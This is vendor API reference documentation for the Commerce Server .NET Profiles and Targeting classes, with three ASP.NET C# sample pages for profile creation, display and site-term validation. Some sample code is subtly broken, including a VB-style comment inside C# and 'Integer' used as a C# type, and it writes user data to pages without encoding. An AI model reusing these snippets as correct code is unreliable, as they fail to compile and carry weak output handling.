public virtual System.Boolean IsSynchronized {get;}

Property Value

A Boolean indicating whether access to the collection is synchronized.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties


ProfilePropertyGroupCollection.Item (Int32) Property (BCL)

The Item property is the indexer to allow for accessing the ProfilePropertyGroupCollection collection by index.

Definition

[Visual Basic .NET]
Public ReadOnly Property Item( _
  ByVal index As System.Int32 _
) As ProfilePropertyGroup
[C#]
public ProfilePropertyGroup Item(
  System.Int32 index
) {get;}

Parameters

[Visual Basic .NET]
index
The index of the ProfilePropertyGroup in the collection.
[C#]
index
The index of the ProfilePropertyGroup in the collection.

Property Value

The value of the index.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties


ProfilePropertyGroupCollection.Item (String) Property (BCL)

The Item property is the indexer to allow for accessing the ProfilePropertyGroupCollection collection by name.

Definition

[Visual Basic .NET]
Public ReadOnly Property Item( _
  ByVal index As System.String _
) As ProfilePropertyGroup
[C#]
public ProfilePropertyGroup Item(
  System.String name
) {get;}

Parameters

[Visual Basic .NET]
name
The name of the ProfilePropertyGroup in the collection.
[C#]
name
The name of the ProfilePropertyGroup in the collection.

Property Value

The name of the ProfilePropertyGroup in the collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties


ProfilePropertyGroupCollection.SyncRoot Property (BCL)

The SyncRoot property retrieves the object for synchronizing operations on this collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property SyncRoot As System.Object
[C#]
public virtual System.Object SyncRoot {get;}

Property Value

The object used for synchronized access to the collection.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties


ProfileXmlFormat Enumeration (BCL)

Enumerates the XML formats supported by the Profiling System.

Members

Member Name | Description
AttributeCentric | Indicates the attribute-centric format.
ElementCentric | Indicates the element-centric format.

Remarks

Inherits from System.Enum.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfileXmlRetrieve Enumeration (BCL)

Enumerates the XML retrieval options supported by the Profiling System.

Members

Member Name | Description
Data | Indicates retrieve data only.
Schema | Indicates retrieve schema only.
SchemaAndData | Indicates retrieve data and schema.

Remarks

Inherits from System.Enum.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


SiteTerm Class (BCL)

Encapsulates a site term.

Public Instance Methods

Method | Description
Validate (Object) | Validates that the value set on the specified ProfileProperty a valid value on this SiteTerm.

Public Instance Properties

Property | Description
Elements | Accesses the site term elements.
Name | Accesses the name property.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Use the SiteTerm Class


SiteTerm Methods (BCL)

Public Instance Methods

Method | Description
Validate (Object) | Validates that the value set on the specified ProfileProperty is a valid value on this SiteTerm.

See Also

Code to Build a Login Page

Code to Use the SiteTerm Class


SiteTerm.Validate (Object) Method (BCL)

Use this method to validate that the value set on the specified ProfileProperty is a valid value on this SiteTerm object.

Definition

[Visual Basic .NET]
Public Function Validate( _
ByVal property As ProfileProperty _
) As Boolean
[C#]
public Boolean Validate(
ProfileProperty property
);

Parameters

[Visual Basic .NET]
property
The ProfileProperty to be validated.
[C#]
property
The ProfileProperty to be validated.

Return Value

A Boolean indicating whether the ProfileProperty is valid. A value of true indicates that the ProfileProperty is valid.

Remarks

A check will be done against the contained site term data.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Use the SiteTerm Class


SiteTerm Properties (BCL)

Public Instance Properties

Property | Description
Elements | Accesses the site term elements.
Name | Accesses the name property.

See Also

Code to Build a Login Page

Code to Use the SiteTerm Class


SiteTerm.Elements Property (BCL)

The Elements property returns the site term elements collection.

Definition

[Visual Basic .NET]
Public ReadOnly Property Elements As Microsoft.CommerceServer.Runtime.Profiles.SiteTermCollection
[C#]
public Microsoft.CommerceServer.Runtime.Profiles.SiteTermCollection Elements {get;}

Property Value

The SiteTermCollection that contains the site term elements.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Use the SiteTerm Class


SiteTerm.Name Property (BCL)

The Name property access the name property.

Definition

[Visual Basic .NET]
Public ReadOnly Property Name As System.String
[C#]
public System.String Name {get;}

Property Value

A System.String containing the name of the site term.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Use the SiteTerm Class


SiteTermElement Class (BCL)

Encapsulates a site-term element.

Public Instance Methods

Method | Description
CompareTo (Object) | Compares the SiteTermElement object to a given object.
Equals (Object) | Determines whether two Object instances are equal.
GetHashCode | Serves as a hash function for a particular type, suitable for use in hashing algorithms and data structures such as a hash table.

Public Instance Properties

Property | Description
Name | Accesses the name of this site term element
Value | Accesses the value of this site term element

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Use the SiteTerm Class


SiteTermElement Methods (BCL)

Public Instance Methods

Method | Description
CompareTo (Object) | Compares the SiteTermElement to a given object.
Equals (Object) | Determines whether two Object instances are equal.
GetHashCode | Serves as a hash function for a particular type, suitable for use in hashing algorithms and data structures such as a hash table.

See Also

Code to Build a Login Page

Code to Use the SiteTerm Class


SiteTermElement.CompareTo (Object) Method (BCL)

Use this method to compares the SiteTermElement to a given object of type SiteTermElement.

Definition

[Visual Basic .NET]
Overridable Public Function CompareTo( _
  ByVal obj As System.Object _
) As Integer
[C#]
public virtual Integer CompareTo(
  System.Object obj
);

Parameters

[Visual Basic .NET]
obj
The object to be compared to.
[C#]
obj
The object to be compared to.

Return Value

If the return value is less than 0, the name member of the SiteTerm element object is less than the name member of the input parameter.

If the return value is equal to 0, the name member of the SiteTerm element object is equal to the name member of the input parameter.

If the return value is greater than 0, the name member of the SiteTerm element object is greater than the name member of the input parameter.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Use the SiteTerm Class


SiteTermElement.Equals (Object) Method (BCL)

Use this method to determine whether two Object instances are equal.

Definition

[Visual Basic .NET]
Overridable Public Function Equals( _
  ByVal obj As System.Object _
) As System.Boolean
[C#]
public virtual System.Boolean Equals(
  System.Object obj
);

Parameters

[Visual Basic .NET]
obj
The object to compare with the current Object.
[C#]
obj
The object to compare with the current Object.

Return Value

A value of True if the specified Object is equal to the current Object; otherwise, False.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Use the SiteTerm Class


SiteTermElement.GetHashCode Method (BCL)

Use this method to serve as a hash function for a particular type, suitable for use in hashing algorithms and data structures such as a hash table.

Definition

[Visual Basic .NET]
Overrides Public Function GetHashCode( _
) As Integer
[C#]
public override Integer GetHashCode(
);

Return Value

A hash code for the current Object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Use the SiteTerm Class


SiteTermElement Properties (BCL)

Public Instance Properties

Property | Description
Name | Accesses the name of the site term element
Value | Accesses the value of the site term element

See Also

Code to Build a Login Page

Code to Use the SiteTerm Class


SiteTermElement.Name Property (BCL)

The Name property accesses the name of the SiteTermElement object.

Definition

[Visual Basic .NET]
Public ReadOnly Property Name As System.String
[C#]
public System.String Name {get;}

Property Value

A System.String containing the name of the site term element.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Use the SiteTerm Class


SiteTermElement.Value Property (BCL)

The Value property accesses the value of the SiteTermElement object.

Definition

[Visual Basic .NET]
Public ReadOnly Property Value As System.Object
[C#]
public System.Object Value {get;}

Property Value

A System.Object containing the name of the site term element.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Use the SiteTerm Class


SiteTermElementCollection Class (BCL)

Creates an abstraction for the SiteTerm elements collection.

Public Instance Methods

Method | Description
CopyTo(Array, Int32) | Copy elements to an array.
GetEnumerator | Retrieves the enumerator on this collection.

Public Instance Properties

Property | Description
Count | Returns the count of this collection.
IsSynchronized | Not used.
Item(String) | Indexer to allow for accessing the SiteTerm collection by name.
SyncRoot | Not used

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Use the SiteTerm Class


SiteTermElementCollection Methods (BCL)

Public Instance Methods

Method | Description
CopyTo(Array, Int32) | Copy elements to an array.
GetEnumerator | Retrieves the enumerator on this collection.

See Also

Code to Build a Login Page

Code to Use the SiteTerm Class


SiteTermElementCollection.CopyTo (SiteTerm[], Int32) Method (BCL)

Copy elements to an array.

Definition

[Visual Basic .NET]
Overridable Public Sub CopyTo( _
  ByVal array As SiteTerm[], _
  ByVal index As System.Int32 _
)
[C#]
public virtual void CopyTo(
  SiteTerm[] array,
  System.Int32 index
);

Parameters

[Visual Basic .NET]
array
Array to copy data to.
index
Index at which to start copying.
[C#]
array
Array to copy data to.
index
Index at which to start copying.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Use the SiteTerm Class


SiteTermElementCollection.GetEnumerator Method (BCL)

Retrieves the enumerator on this collection.

Definition

[Visual Basic .NET]
Overridable Public Function GetEnumerator( _
) As System.Collections.IEnumerator
[C#]
public virtual System.Collections.IEnumerator GetEnumerator(
);

Implements

System.Collections.ICollection

Return Value

Handle to an IEnumerator interface implementation for this collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Use the SiteTerm Class


SiteTermElementCollection Properties (BCL)

Public Instance Properties

Property | Description
Count | Returns the count of this collection.
IsSynchronized | Not used.
Item(String) | Indexer to allow for accessing the SiteTerm collection by name.
SyncRoot | Not used

See Also

Code to Build a Login Page

Code to Use the SiteTerm Class


SiteTermElementCollection.Count Property (BCL)

Returns the count of this collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property Count As System.Int32
[C#]
public virtual System.Int32 Count {get;}

Implements

System.Collections.ICollection

Property Value

Integer that contains the count of this collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Use the SiteTerm Class


SiteTermElementCollection.IsSynchronized Property (BCL)

Not used.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property IsSynchronized As System.Boolean
[C#]
public virtual System.Boolean IsSynchronized {get;}

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Use the SiteTerm Class


SiteTermElementCollection.Item(String) Property (BCL)

Indexer to allow for accessing the SiteTerm collection by name.

Definition

[Visual Basic .NET]
Public ReadOnly Property Item( _
  ByVal name As System.String _
) As SiteTermElement
[C#]
public SiteTermElement Item(
  System.String name
) {get;}

Parameters

[Visual Basic .NET]
name
Name of the SiteTerm element.
[C#]
name
Name of the SiteTerm element.

Property Value

The specified SiteTermElement

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Use the SiteTerm Class


SiteTermElementCollection.SyncRoot Property (BCL)

Implementation of the ICollection::SyncRoot property.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property SyncRoot As System.Object
[C#]
public virtual System.Object SyncRoot {get;}

Property Value

Icollection::SyncRoot property.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Use the SiteTerm Class


Example Code for the Microsoft.CommerceServer.Profiles Namespace

Examples

Example | Description
Code to Create and Set Profile Properties | Describes how to create and set profile properties.
Code to Retrieve and Display Profile Properties | Describes how to retrieve and display profile properties.
Code to Use the SiteTerm Class | Describes how to retrieve, iterate, sort, compare, and validate site terms.


Code to Create and Set Profile Properties

Use the following code to create and set profile properties.

<%@ Page language="c#" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime.Profiles" %>
<html>
   <script language="C#" runat="server">

      // Web-form scoped variables.
      ProfileContext profileContext = CommerceContext.Current.ProfileSystem;

      void Page_Load(Object sender, EventArgs e)
      {
         if (!IsPostBack)
         {
            LogonnameValidator.ErrorMessage = "* Invalid logon name *";
            PasswordValidator.ErrorMessage = "* Invalid password *";
            FirstNameValidator.ErrorMessage = "* Invalid first name *";
            LastNameValidator.ErrorMessage = "* Invalid last name *";
            EMailValidator.ErrorMessage = "* Invalid email address *";
         }
      }

      // Event handler for the "Cancel" button click.
      public void Cancel_Click(Object sender, EventArgs args)
      {
         // Simply clear off values associated with the text box controls.
         LogonnameText.Text = "";
         PasswordText.Text = "";
         FirstnameText.Text = "";
         LastnameText.Text = "";
         EmailText.Text = "";
      }

      // Event handler for the "OK" button click.
      public void Ok_Click(Object sender, EventArgs args)
      {
         if (IsValid)
         {
            Profile userProfile;
            ProfilePropertyGroup generalInfo;

            // Create user profile by this name.
            userProfile = profileContext.CreateProfile(LogonnameText.Text, "UserObject");

            // Different ways to set single-valued profile properties.
            // To learn about setting multi-valued profile properties, please refer
            // to reference documentation for ProfileProperty.Value.
            userProfile["GeneralInfo.user_security_password"].Value = PasswordText.Text;
            userProfile.Properties["GeneralInfo.first_name"].Value = FirstnameText.Text;
            userProfile.PropertyGroups["GeneralInfo"]["last_name"].Value = LastnameText.Text;

            generalInfo = userProfile.PropertyGroups["GeneralInfo"];
            generalInfo["email_address"].Value = EmailText.Text;

            // Persist user profile to underlying stores.
            userProfile.Update();
         }
      }
   </script>
   <body>
   <body>
      <form ID="createprofile" method="post" runat="server">
         <asp:Label id="TitleLabel" Text="Create a profile" runat="server" /><br>
         <br>
         <asp:Table runat="server" id="profileData" BorderWidth="2">
            <asp:TableRow>
               <asp:TableCell>
                  <asp:Label id="LogonNameLabel" Text="Name:" runat="server" />
               </asp:TableCell>
               <asp:TableCell>
                  <asp:TextBox id="LogonnameText" runat="server"></asp:TextBox>
                  <asp:RequiredFieldValidator id="LogonnameValidator" runat="server" ControlToValidate="LogonnameText" Display="dynamic"></asp:RequiredFieldValidator>
               </asp:TableCell>
            </asp:TableRow>
            <asp:TableRow>
               <asp:TableCell>
                  <asp:Label id="PasswordLabel" Text="Password:" runat="server" />
               </asp:TableCell>
               <asp:TableCell>
                  <asp:TextBox id="PasswordText" TextMode="Password" runat="server"></asp:TextBox>
                  <asp:RequiredFieldValidator id="PasswordValidator" runat="server" ControlToValidate="PasswordText" Display="dynamic"></asp:RequiredFieldValidator>
               </asp:TableCell>
            </asp:TableRow>
            <asp:TableRow>
               <asp:TableCell>
                  <asp:Label id="FirstNameLabel" Text="First Name:" runat="server" />
               </asp:TableCell>
               <asp:TableCell>
                  <asp:TextBox id="FirstnameText" runat="server"></asp:TextBox>
                  <asp:RequiredFieldValidator id="FirstNameValidator" runat="server" ControlToValidate="FirstnameText" Display="dynamic"></asp:RequiredFieldValidator>
               </asp:TableCell>
            </asp:TableRow>
            <asp:TableRow>
               <asp:TableCell>
                  <asp:Label id="LastNameLabel" Text="Last Name:" runat="server" />
               </asp:TableCell>
               <asp:TableCell>
                  <asp:TextBox id="LastnameText" runat="server"></asp:TextBox>
                  <asp:RequiredFieldValidator id="LastNameValidator" runat="server" ControlToValidate="LastnameText" Display="dynamic"></asp:RequiredFieldValidator>
               </asp:TableCell>
            </asp:TableRow>
            <asp:TableRow>
               <asp:TableCell>
                  <asp:Label id="EmailLabel" Text="Email Address:" runat="server" />
               </asp:TableCell>
               <asp:TableCell>
                  <asp:TextBox id="EmailText" runat="server"></asp:TextBox>
                  <asp:RegularExpressionValidator id="EMailValidator" runat="server" ControlToValidate="EmailText" ValidationExpression=".*@.*\..*" Display="dynamic"></asp:RegularExpressionValidator>
               </asp:TableCell>
            </asp:TableRow>
            <asp:TableRow>
               <asp:TableCell>
                  <asp:Button id="Ok" Text="Ok" OnClick="Ok_Click" runat="server" Width="80" />
               </asp:TableCell>
               <asp:TableCell>
                  <asp:Button id="Cancel" Text="Cancel" OnClick="Cancel_Click" runat="server" CausesValidation="false" Width="80" />
               </asp:TableCell>
            </asp:TableRow>
         </asp:Table>
      </form>
   </body>
</html>

See Also

CommerceContext Class (BCL)

Profile Class (BCL)

ProfileContext Class (BCL)

ProfilePropertyGroup Class (BCL)


Code to Retrieve and Display Profile Properties

Use the following code to retrieve and display profile properties.

<%@ Page language="c#" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime.Profiles" %>
<html>
   <script language="C#" runat="server">

      // Web-form scoped variables.
      ProfileContext profileContext = CommerceContext.Current.ProfileSystem;

      // Default page action.
      void Page_Load(Object sender, EventArgs e)
      {
         if (!IsPostBack)
         {
            LogonnameValidator.ErrorMessage = "* User does not exist *";
         }
      }

      // Event handle for the click event on the "Ok" button.
      public void Ok_Click(Object sender, EventArgs args)
      {
         DisplayProperties(LogonnameText.Text);
      }

      // This method retrieves the user profile for the specified logon
      // name, and displays the value for every property on this profile.
      void DisplayProperties(string logonName)
      {
         Profile userProfile;

         // Retrieve an existing profile from the
         userProfile = profileContext.GetProfile("logon_name", logonName, "UserObject");

         if (userProfile == null)
         {
            LogonnameValidator.IsValid = false;
            ProfilePropertyGroups.DataSource = null;
            ProfilePropertyGroups.DataBind();
         }
         else
         {
            ProfilePropertyGroups.DataSource = userProfile.PropertyGroups;
            ProfilePropertyGroups.DataBind();

            BindProperties();
         }
      }

      // This method binds the properties collection on all the top-level property
      // groups to individual nested repeater controls.
      void BindProperties()
      {
         int i;
         ProfilePropertyGroup ppg;
         ProfilePropertyGroupCollection ppgc;

         ppgc = ProfilePropertyGroups.DataSource as ProfilePropertyGroupCollection;
         for (i = 0 ; i < ppgc.Count ; i++)
         {
            Repeater propertiesControl;

            // Retrieve the ith property group.
            ppg = ppgc[i];

            // Bind the properties collection on this property group to the
            // nested "ProfileProperties" repeater.
            propertiesControl = ProfilePropertyGroups.Items[i].FindControl("ProfileProperties") as Repeater;
            propertiesControl.DataSource = ppg.Properties;
            propertiesControl.DataBind();
         }
      }
   </script>
   <body>
   <body>
      <form ID="displayprofile" method="post" runat="server">
         <asp:Label id="TitleLabel" Text="Display a profile" runat="server" /><br>
         <br>
         <asp:Table runat="server" id="profileData" BorderWidth="2">
            <asp:TableRow>
               <asp:TableCell>
                  <asp:Label id="LogonNameLabel" Text="Name:" runat="server" />
               </asp:TableCell>
               <asp:TableCell>
                  <asp:TextBox id="LogonnameText" runat="server"></asp:TextBox>
                  <asp:RequiredFieldValidator id="LogonnameValidator" runat="server" ControlToValidate="LogonnameText" Display="dynamic"></asp:RequiredFieldValidator>
               </asp:TableCell>
            </asp:TableRow>
            <asp:TableRow>
               <asp:TableCell>
                  <asp:Button id="Ok" Text="Ok" OnClick="Ok_Click" runat="server" Width="80" />
               </asp:TableCell>
            </asp:TableRow>
         </asp:Table>
         <asp:Repeater ID="ProfilePropertyGroups" Runat="server">
            <HeaderTemplate>
               <hr/>
            </HeaderTemplate>
            <ItemTemplate>
               <p>
               <%# DataBinder.Eval(Container.DataItem, "Name") %> :
               <br/>
               <asp:Repeater ID="ProfileProperties" Runat="server">
                  <ItemTemplate>
                     &nbsp;&nbsp;&nbsp;&nbsp;<%# DataBinder.Eval(Container.DataItem, "Name") %> : <%# DataBinder.Eval(Container.DataItem, "Value") %>
                     <br/>
                  </ItemTemplate>
               </asp:Repeater>
            </ItemTemplate>
            <FooterTemplate>
               <hr/>
            </FooterTemplate>
         </asp:Repeater>
      </form>
   </body>
</html>

See Also

CommerceContext Class (BCL)

Profile Class (BCL)

ProfileContext Class (BCL)

ProfilePropertyGroup Class (BCL)

ProfilePropertyGroupCollection Class (BCL)


Code to Use the Site Term Class

Use the following code to retrieve, iterate, sort, compare, and validate site terms. This code sample requires that the CommerceProfileModule object is configured in the web.config file. For more information about the CommerceProfileModule class, see Commerce Modules and CommerceProfileModule Class.

<%@ Page language="c#" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime.Profiles" %>

<script language="C#" runat="server">
   private void Page_Load(object sender, System.EventArgs e)
      {
         ProfileContext pc;
         SiteTerm st;
         SiteTermElementCollection stc;
         SiteTermElement ste, ste2;
         ArrayList stNames;
         SiteTermElement [] stElementArray;
         Profile profile;

      try
      {
         if (CommerceContext.Current != null)
         {
            pc = CommerceContext.Current.ProfileSystem;

            // Retrieve all the siteterms in the catalog.
            stNames = pc.SiteTermNames;

            if (stNames.Count > 0)
            {
               // Retrieve all the elements contained in a
               // particular siteterm, encapsulated within
               // a SiteTerm class.
               st = pc.GetSiteTerm((string)stNames[0]);

               // Retrieve the siteterms in a collection
               // and iterate through them.
               stc = st.Elements;
               Response.Write("SiteTerm:  " + stNames[0] + " has " + stc.Count + " elements.<br>");
               foreach (SiteTermElement steTemp in stc)
               {
                  Response.Write("Name:  " + steTemp.Name + "        Value:  " + steTemp.Value + "<br>");
               }
               Response.Write("<br><br>");

               // Sort days of the week siteterm and display them.
               stElementArray = new SiteTermElement[stc.Count];
               stc.CopyTo(stElementArray, 0);
               Array.Sort(stElementArray);
               Response.Write("SiteTerm:  " + stNames[0] + " in sorted order.<br>");
               foreach (SiteTermElement steTemp in stElementArray)
               {
                  Response.Write("Name:  " + steTemp.Name + "        Value:  " + steTemp.Value + "<br>");
               }
               Response.Write("<br><br>");

               // Reference the siteterm within the collection by name.
               ste = stc["Guest User"];
               Response.Write("Reference a siteterm element from a collection by name.<br>");
               Response.Write("Name:  " + ste.Name + "        Value:  " + ste.Value + "<br>");
               Response.Write("<br><br>");

               // Compare siteterm elements.
               ste2 = stc["Registered User"];
               if (ste.Equals(ste2))
                  Response.Write("The two SiteTermElement objects are equal.<br>");
               else
                  Response.Write("The two SiteTermElement objects are not equal.<br>");
               Response.Write("<br><br>");

               // Validate a profile property through the siteterm class.
               profile = pc.GetProfile("logon_name", "username", "UserObject");
               if (profile != null)
               {
                  ' if there really is a profile in the profile store
                  if (st.Validate(profile.Properties[0]))
                     Response.Write("The profile property is validated.<br>");
                  else
                     Response.Write("The profile property is not valid.<br>");
               }
               else
                  Response.Write("The profile does not exist.<br>");
               Response.Write("<br><br>");
            }
         }

      }
      catch(Exception ex)
      {
         Response.Write(ex.Message);
      }
   }
</script>

<HTML>
   <HEAD>
      <title ID=L_Login_HTMLTitle>Login</title>
      <meta name="GENERATOR" Content="Microsoft Visual Studio 7.0">
      <meta name="CODE_LANGUAGE" Content="C#">
      <meta name="vs_defaultClientScript" content="JavaScript">
      <meta name="vs_targetSchema" content="http://schemas.microsoft.com/intellisense/ie5">
   </HEAD>
   <body MS_POSITIONING="GridLayout">

   </body>
</HTML>

See Also

Profile Class (BCL)

ProfileContext Class (BCL)

SiteTerm Class (BCL)

SiteTermElement Class (BCL)

SiteTermElementCollection (BCL)


Microsoft.CommerceServer.Runtime.Targeting

The classes in the Microsoft.CommerceServer.Runtime.Targeting namespace contain the content selection and campaign functionality of the Commerce Server .NET Application Framework.

Microsoft.CommerceServer.Runtime.Targeting Namespace Object Model

Depicts the object model for the Microsoft.CommerceServer.Runtime.Targeting namespace.

Classes

Class | Description
CommerceContentSelectionModule | Creates the collection of ContentSelectionContext objects used in the site.
CommerceExpressionModule | Creates the default CatalogContext object for the site.
CommerceTargetingException | Represents an exception thrown when the profiles collection contains profiles other than User and TargetingContext.
ContentItemCollection | Represents a set of rows in a ContentList object.
ContentSelectionContext | Represents an application context for Content Selection Framework (CSF) content selection. For example, advertising and discounts each have their own ContentSelectionContext object to specify components such as the pipeline and the cache that should be used by the ContentSelector object.
ContentSelectionContextCollection | Represents a collection of ContentSelectionContext objects.
ContentSelector | Invokes CSF pipelines.
ExpressionEvaluator | Evaluates targeting expressions.
TargetingProfileCollection | Stores the set of named Profile objects to be targeted.
TargetingSystemInfo | Gets the current instances of the classes required by the Targeting System.

Enumerations

Enumeration | Description
ExpressionEvaluator_ExpressionResult | An expression result: true, false, or undefined.

Examples

Example | Description
Code to Display Targeted Advertisements on an ASP.NET Web Form | Describes how to create a targeting profile, create a user profile, run the content selector object, and display targeted advertisements on an ASP.NET Web form.

See Also

Commerce Server .NET Application Framework Tutorial


CommerceContentSelectionModule Class (BCL)

Creates the collection of ContentSelectionContext objects used in the site.

Public Instance Constructor

Constructor | Description
CommerceContentSelectionModule Constructor | Creates a new instance of the CommerceContentSelectionModule class.

Public Instance Methods

Method | Description
Dispose (Inherited from CommerceModule) | Releases resources used by this object.
Init(HttpApplication) | Subscribes the class to application BeginRequest events.

Public Instance Properties

Property | Description
IsInitialized (Inherited from CommerceModule) | Gets a Boolean that is set to True when the CommerceModule class instance has been initialized.

Public Static (Shared) Properties

Property | Description
ContentSelectionContexts | Gets the ContentSelectionContextCollection object built in the contentSelection portion of the web.config file.

Protected Instance Methods

Method | Description
DeclareModuleDependency(Type, Type) (Inherited from CommerceModule) | Declares a dependency on another CommerceModule class, by type.
DeclareResourceDependency(String, Type) (Inherited from CommerceModule) | Declares a dependency on a Commerce Server site resource.
Dispose(Boolean) (Inherited from CommerceModule) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceContentSelectionModule Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceContentSelectionModule Constructor | Creates a new instance of the CommerceContentSelectionModule class.


CommerceContentSelectionModule Constructor (BCL)

Use this method to create a new instance of the CommerceContentSelectionModule class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CommerceContentSelectionModule(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceContentSelectionModule Methods (BCL)

Public Instance Methods

Method | Description
Dispose (Inherited from CommerceModule) | Releases resources used by this object.
Init(HttpApplication) | Subscribes the class to application BeginRequest events.

Protected Instance Methods

Method | Description
DeclareModuleDependency(Type, Type) (Inherited from CommerceModule) | Declares a dependency on another CommerceModule class, by type.
DeclareResourceDependency(String, Type) (Inherited from CommerceModule) | Declares a dependency on a Commerce Server site resource.
Dispose(Boolean) (Inherited from CommerceModule) | Releases the unmanaged resources used by this class and optionally releases the managed resources.


CommerceContentSelectionModule.Init(HttpApplication) Method (BCL)

Use this method to subscribe the class to application BeginRequest events.

Definition

[Visual Basic .NET]
Overrides Public Sub Init( _
  ByVal appInstance As System.Web.HttpApplication _
)
[C#]
public override void Init(
  System.Web.HttpApplication appInstance
);

Parameters

[Visual Basic .NET]
appInstance
The HttpApplication instance that created this module.
[C#]
appInstance
The HttpApplication instance that created this module.

Implements

System.Web.IHttpModule

Remarks

This module does not subscribe to any application events.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceContentSelectionModule Properties (BCL)

Public Instance Properties

Property | Description
IsInitialized (Inherited from CommerceModule) | Gets a Boolean that is set to True when the CommerceModule class instance has been initialized.

Public Static (Shared) Properties

Property | Description
ContentSelectionContexts | Gets the ContentSelectionContextCollection built in the contentSelection portion of the web.config file.


